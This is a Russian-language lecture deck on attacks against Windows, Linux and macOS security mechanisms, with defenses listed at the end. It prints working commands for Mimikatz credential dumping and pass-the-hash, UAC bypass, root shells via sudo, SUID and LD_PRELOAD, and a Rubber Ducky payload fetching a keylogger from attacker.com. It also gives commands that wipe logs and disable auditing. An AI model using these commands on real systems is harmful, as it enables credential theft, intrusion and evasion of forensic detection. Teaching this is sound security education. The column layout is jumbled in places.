Похожие презентации:
Атаки на защитные механизмы операционных систем
1.
Атаки на защитныемеханизмы операционных
систем
2.
ПрограммаЗащитные механизмы ОС
Атаки на аутентификацию
Обзор штатных защитных механизмов
Методы восстановления паролей
Хранение учётных данных
Локальный подбор учётных данных
Процессы аутентификации
Повышение привилегий
Шпионское ПО и руткиты
Продвинутые техники атак
Кейлоггеры и шпионское ПО
Атаки на NTFS и ADS
Классификация руткитов
Сокрытие следов активности
Методы обнаружения вредоносного ПО
Атаки на механизмы аудита
3.
Штатные защитные механизмы современных ОСWindows
Linux
macOS
Контроль учетных записей (UAC)
SELinux и AppArmor
Системная целостность (SIP)
Windows Defender / Microsoft Defender
Механизмы мандатного доступа (MAC)
Gatekeeper и нотаризация
AppLocker и Device Guard
FileVault для шифрования
BitLocker для шифрования дисков
LUKS для шифрования
Песочница приложений
Secure Boot и TPM
seccomp и namespaces
XProtect и MRT
Windows Firewall с расширенной
Системы обнаружения вторжений (IDS)
Прозрачность, согласие и контроль
безопасностью
(TCC)
iptables/nftables и системы фильтрации
Современные ОС используют многоуровневую систему защиты, реализующую принцип эшелонированной обороны. Однако каждый механизм
имеет свои уязвимости и ограничения.
4.
LinuxSELinux и AppArmor
Механизмы мандатного доступа
(MAC)
Системы обнаружения вторжений
iptables/nftables и системы
(IDS)
фильтрации
LUKS для шифрования
seccomp и namespaces
5.
WindowsКонтроль учетных записей (UAC)
Windows Defender / Microsoft
Defender
Secure Boot и TPM
Windows Firewall с расширенной
безопасностью
AppLocker и Device Guard
BitLocker для шифрования
дисков
6.
Методы хранения учётных данных в различных ОСWindows
Linux
macOS
SAM-файл в
/etc/passwd - учетные записи
Open Directory
%SystemRoot%\system32\config
Хеши паролей в NTLM-формате
LSA Secrets и DPAPI
/etc/shadow - хеши паролей
Алгоритмы: SHA-512, SHA-256, MD5
PAM-модули для аутентификации
Кэш учетных данных для автономного
входа
$ sudo cat
(/private/var/db/dslocal/nodes/Default/user
s/)
Keychain для хранения паролей
Secure Enclave на новых устройствах
Хеши в plist-файлах
/etc/shadowroot:$6$tPuRrYjE$mF08y
C:\> reg save HKLM\SYSTEM
I...::0:99999:7:::
$ sudo defaults read
system.hiveC:\> reg save HKLM\SAM
/private/var/db/dslocal/nodes/Def
sam.hiveC:\> reg save
ault/users/admin.plist
HKLM\SECURITY security.hive
ShadowHashData | tr -dc 0-9a-f |
xxd -r -p | plutil -convert xml1
- -o -
Хранилища учетных данных являются первоочередной целью при проведении атак на операционные системы.
7.
Процесс аутентификации вWindows
Ввод учётных данных
Логин/пароль, смарт-карта, Windows Hello
LSA/LSASS
Обработка аутентификационных пакетов
Проверка SAM/AD
Сверка хешей или Kerberos TGT
Создание токена
Формирование токена доступа пользователя
Процесс аутентификации Windows использует различные провайдеры (MSV1_0,
Kerberos, NTLM), выбираемые в зависимости от контекста входа. Все данные
аутентификации обрабатываются процессом lsass.exe, который является
критически важной целью для атакующих.
8.
Процесс аутентификации в LinuxКлючевые компоненты:
PAM (Pluggable Authentication Modules) - модульная система
аутентификации
Конфигурация в /etc/pam.d/ и /etc/security/
Независимые стеки для различных сервисов
Раздельные модули для аутентификации, учёта, управления
сессиями и паролями
Процесс аутентификации:
1.
Приложение (например, login, sshd) обращается к libpam
2.
PAM загружает модули из конфигурации
3.
Выполняются модули аутентификации в заданном порядке
4. При успехе создаётся сессия пользователя
9.
Методы восстановления ивзлома паролей
Получение хешей
Извлечение из хранилищ ОС различными методами:
# Windows - извлечение из памятиmimikatz #
privilege::debugmimikatz # sekurlsa::logonpasswords# Linux копирование файлов$ sudo cp /etc/shadow /tmp/shadow_dump
10.
Инструменты для локальногоподбора учётных данных
Windows
Mimikatz - извлечение паролей из
Linux
памяти, NTLM-хешей, Kerberos-билетов
инструмент для подбора паролей
Hash
Lazagne - извлечение сохраненных
Hashcat - использование GPU для
ускорения подбора паролей
Windows Credentials Editor (WCE) работа с учетными данными и Pass-the-
John the Ripper - классический
Hydra - атаки на сетевые сервисы
CrackMapExec - автоматизация атак в
сетевой среде
паролей из браузеров, почтовых
клиентов, FTP
PowerSploit - набор PowerShellскриптов для поиска учетных данных
В Kali Linux предустановлены многие инструменты для атак на учетные данные различных
операционных систем, что делает его оптимальной платформой для тестирования
защищенности.
11.
Примеры атак с использованием Mimikatz1
Извлечение хешей и паролей из памяти
mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswords full
Mimikatz взаимодействует с процессом lsass.exe и извлекает из памяти все сохраненные учетные данные, включая
пароли в открытом виде (если используется WDigest).
2
Pass-the-Hash атака
mimikatz # sekurlsa::pth /user:администратор /domain:CONTOSO
/ntlm:e2b475c11da2a0748290d87aa966c327
Позволяет аутентифицироваться, используя только NTLM-хеш пароля, без необходимости знания самого пароля.
3
Извлечение Kerberos-билетов
mimikatz # sekurlsa::tickets /export
Экспортирует кэшированные Kerberos-билеты для использования в атаках Pass-the-Ticket.
12.
Техники повышения привилегий в WindowsУязвимости и эксплойты
Использование известных уязвимостей для получения SYSTEM-привилегий:
# Поиск уязвимостей с помощью PowerUpPS> Import-Module .\PowerUp.ps1PS> Invoke-AllChecks# Использование эксплойта PrintNightmarePS> Invoke-Nightmare -DLL C:\temp\rev.dll
Обход UAC (User Account Control)
Методы обхода контроля учетных записей:
# Использование UACMEC:\> Akagi.exe 23 C:\Windows\System32\cmd.exe# PowerShell-скрипт для обхода UACPS> Import-Module .\Invoke-PsUACme.ps1PS> Invoke-PsUACme -Verbose -Method sysprep
Небезопасные разрешения
Использование слабых разрешений файловой системы и реестра:
# Поиск служб с изменяемыми путямиPS> Get-ServiceUnquotedPS> Get-ModifiableServiceFile# Изменение пути запуска службыC:\> sc config vulnerable binPath= "C:\backdoor.exe"
Атаки на планировщик заданий
Эксплуатация небезопасных заданий:
# Анализ задач планировщикаC:\> schtasks /query /fo LIST /v# Замена исполняемого файла задачиPS> Copy-Item C:\backdoor.exe "C:\Program Files\Vulnerable\task.exe" -Force
13.
Техники повышения привилегий в LinuxЭксплуатация уязвимостей ядра
Эксплуатация SUID-бинарных файлов
# Поиск доступных эксплойтов$ searchsploit linux kernel 5.4# Компиляция и запуск эксплойта$ gcc
# Поиск SUID-файлов$ find / -perm -u=s -type f 2>/dev/null# Использование уязвимости в find$ find
cve-2021-3490.c -o exploit$ ./exploit[+] Root shell spawned# iduid=0(root) gid=0(root)
. -exec /bin/sh -p \; -quit# iduid=1000(user) gid=1000(user) euid=0(root)
Уязвимые команды sudo
Перехват библиотек (LD_PRELOAD)
# Просмотр разрешений sudo$ sudo -l# Эксплуатация sudo с разрешением на vim$ sudo vim -c
# Создание вредоносной библиотеки$ cat << EOF > /tmp/evil.c#include #include #include void
':!/bin/bash'# iduid=0(root) gid=0(root)
_init() {
setuid(0); setgid(0);
system("/bin/bash -p");}EOF$ gcc -fPIC -shared -o
/tmp/evil.so /tmp/evil.c$ sudo LD_PRELOAD=/tmp/evil.so find# iduid=0(root) gid=0(root)
В Kali Linux утилита LinPEAS автоматизирует поиск большинства векторов повышения привилегий.
14.
Программные и аппаратные кейлоггерыАппаратные кейлоггеры
Программные кейлоггеры
USB-устройства между клавиатурой и компьютером
Пользовательский уровень (API-хуки, инъекции в процессы)
Внутренние устройства для PS/2 и USB клавиатур
Уровень ядра (драйверы, перехват прерываний)
Беспроводные перехватчики для радиоклавиатур
Перехват на уровне браузера (JavaScript-инъекции)
Преимущества: невидимы для ОС, не требуют установки ПО
Реализация в Kali Linux: logkeys, PYKL, Kis Keylogger
# Установка и запуск logkeys в Linux$ apt-get install logkeys$ logkeys --start --output /tmp/keylog.log# Создание USB Rubber Ducky для кейлоггинга WindowsDELAY 2000GUI rDELAY 500STRING powershell -WindowStyle Hidden -Exec Bypass "IEX (New-Object
Net.WebClient).DownloadString('http://attacker.com/keylog.ps1')"ENTER
15.
Шпионское программное обеспечение1
Функциональные возможности современного
шпионского ПО
2
Методы заражения и установки
Социальная инженерия и фишинг
Запись нажатий клавиш (кейлоггинг)
Эксплуатация уязвимостей ОС и браузеров
Перехват снимков экрана и веб-камеры
Drive-by загрузки с веб-сайтов
Запись аудио с микрофона
Установка через физический доступ
Перехват буфера обмена
Подмена легитимного ПО
Отслеживание истории браузера и форм
Включение в состав бандлов и бесплатных программ
Мониторинг мессенджеров и почты
Удалённое управление системой
В арсенале Kali Linux имеются инструменты для создания и анализа шпионского ПО: TheFatRat, Veil-Framework, SpyNote для мобильных устройств.
16.
Руткиты: классификация и принципы работыПринципы работы руткитов
Примеры известных руткитов
Перехват системных вызовов (hooking)
Windows: ZeroAccess, Necurs, TDL/TDSS
Модификация таблиц системных вызовов (SSDT)
Linux: Adore-ng, SucKIT, Diamorphine
Инъекция вредоносного кода в легитимные процессы
UEFI/BIOS: LoJax, MosaicRegressor
Сокрытие процессов, файлов, ключей реестра
Гипервизоры: SubVirt, Blue Pill, Virtualized Rootkits
Перехват прерываний (IDT)
Модификация структур ядра
17.
Методы обнаружения руткитовСигнатурный анализ
Поведенческий анализ
Поиск известных сигнатур вредоносного кода:
Выявление аномалий в поведении системы:
Антивирусные сканеры с обновляемыми базами
Мониторинг системных вызовов
Ограничения: не обнаруживает неизвестные руткиты
Анализ сетевой активности
Проверка целостности критических файлов
# Сканирование с помощью chkrootkit$ chkrootkit# Использование RKHunter$ rkhunter -check
# Проверка открытых портов$ lsof -i -P -n# Анализ загруженных модулей ядра$ lsmod |
sort
Дифференциальный анализ
Специализированные инструменты
Сравнение состояния системы с эталонным:
Инструменты для глубокого анализа:
Проверка целостности с использованием хеш-сумм
Volatility для анализа дампов памяти
Загрузка с чистой системы для анализа
OSSEC для мониторинга целостности
# Проверка целостности файлов с AIDE$ aide --check
# Анализ дампа памяти$ volatility -f memory.dmp --profile=Win10x64 pslist$
volatility -f memory.dmp --profile=Win10x64 malfind
18.
Атаки на файловую систему NTFS: ADSAlternate Data Streams (ADS)
NTFS поддерживает дополнительные потоки данных
для файлов, которые обычно не видны пользователю.
Злоумышленники используют их для:
Практические примеры атак с ADS
# Создание скрытого потока данныхC:\>
echo "Вредоносный код" >
legit.txt:hidden.txt# Сохранение
исполняемого файла в потокеC:\> type
Сокрытия вредоносного кода
evil.exe > innocent.txt:evil.exe# Запуск
Обхода проверок антивирусов
скрытого исполняемого файлаC:\> start
Создания скрытых хранилищ данных
Сокрытия следов взлома
innocent.txt:evil.exe# Создание ярлыка
для запуска скрытого потокаC:\> makecab
C:\ADS\file.txt:stream C:\ADS\file.cab
ADS-потоки не видны в Проводнике Windows, но могут быть обнаружены специализированными
инструментами, такими как Streams.exe из SysInternals, Get-Item -Stream в PowerShell или командой dir /r.
19.
Другие методы атак на файловые системы1
Атаки на атрибуты файлов
Манипуляции с разрешениями и атрибутами
файлов:
2
Использование символических
ссылок
Эксплуатация уязвимостей через
3
Атаки на точки монтирования
Манипуляции с монтированием файловых
систем:
символические ссылки:
# Windows - установка скрытых
# Linux - атака через .mount$
атрибутовC:\> attrib +h +s +r
# Windows - создание junction
systemd-run --
C:\malware.exe# Linux - изменение
pointC:\> mklink /j C:\link
property=RequiresMountsFor=/ bash -c
временных меток$ touch -r
C:\Windows\System32\# Linux - TOCTOU
'echo "root::0:0::/:/bin/bash" >
/etc/passwd backdoor.sh
атака$ ln -sf /etc/shadow
/etc/passwd'# Windows - атака через
/tmp/temp_file$ while true; do ln -
WebDAVC:\> net use Z:
sf /tmp/my_file /tmp/temp_file; done
\\attacker\share
20.
Способы сокрытия следов в системеОчистка журналов
Очистка истории команд
Маскировка активности
Windows:
Windows:
Windows:
# Очистка журнала событийC:\> wevtutil cl
# Очистка истории PowerShellPS> Remove-Item
# Удаление USN-журналаC:\> fsutil usn
SystemC:\> wevtutil cl SecurityC:\> wevtutil
(Get-PSReadlineOption).HistorySavePathPS> Set-
deletejournal /d C:# Удаление файлов
cl Application# PowerShell способPS> Clear-
PSReadlineOption -HistorySaveStyle SaveNothing
префетчераC:\> del /q C:\Windows\Prefetch\*
EventLog -LogName Security
Linux:
Linux:
# Очистка системных логов$ echo >
Linux:
# Очистка истории bash$ history -c$ rm
# Модификация временных меток$ touch -t
~/.bash_history$ export HISTFILESIZE=0
202001010000.00 /var/log/secure$ find /var/log
-type f -exec utimensat {} \;
/var/log/syslog$ echo > /var/log/auth.log$ rm
/var/log/wtmp
Важно: Большинство этих действий оставляют следы в других местах и могут быть обнаружены продвинутыми системами мониторинга или при криминалистическом анализе!
21.
Атаки на механизмы регистрации событийИскажение журналов Windows
Атаки на системы аудита Linux
Методы манипуляции событиями безопасности:
Методы обхода журналирования:
Переполнение журналов (Event Log Flooding)
Модификация демонов аудита (auditd)
Выборочное удаление событий
Атаки на rsyslog и systemd-journald
Отключение аудита через групповые политики
Манипуляции с правилами auditd
Манипуляция с подсистемой WinRM
Использование chattr для блокировки записи
# Генерация большого количества событийPS> for ($i=1; $i -le 1000;
# Отключение auditd$ systemctl stop auditd$ systemctl disable
$i++) {
auditd# Блокировка изменения файлов журналов$ chattr +i
"EventFlood"
Write-EventLog -LogName Application -Source
-EventId 1000 -Message "Flood $i" }# Отключение
аудита через реестрPS> Set-ItemProperty -Path
/var/log/auth.log# Перенаправление журналов в /dev/null$ ln -sf
/dev/null /var/log/auth.log
"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name
"SCENoApplyLegacyAuditPolicy" -Value 1
Защита от подобных атак требует централизованного сбора и хранения логов, изоляции систем аудита и применения принципа least privilege для доступа к журналам.
22.
Ключевые меры защиты от рассмотренных атакМногофакторная аутентификация
Внедрение MFA снижает риск компрометации
учетных данных, даже при взломе паролей.
Обучение персонала
Повышение осведомленности
сотрудников о методах атак и социальной
инженерии.
Контроль целостности
Проверка целостности системных файлов и
защита от модификаций руткитами.
Контроль привилегий
Применение принципа наименьших
привилегий и регулярный аудит прав
пользователей.
Своевременное обновление
Устранение уязвимостей через патчи,
особенно для повышения привилегий.
Мониторинг и аудит
Создание защищенной системы регистрации
событий с резервированием и анализом.
Регулярное тестирование на проникновение в среде Kali Linux позволяет выявить слабые места в защите и оценить эффективность
реализованных мер безопасности до того, как они будут обнаружены злоумышленниками.
Программное обеспечение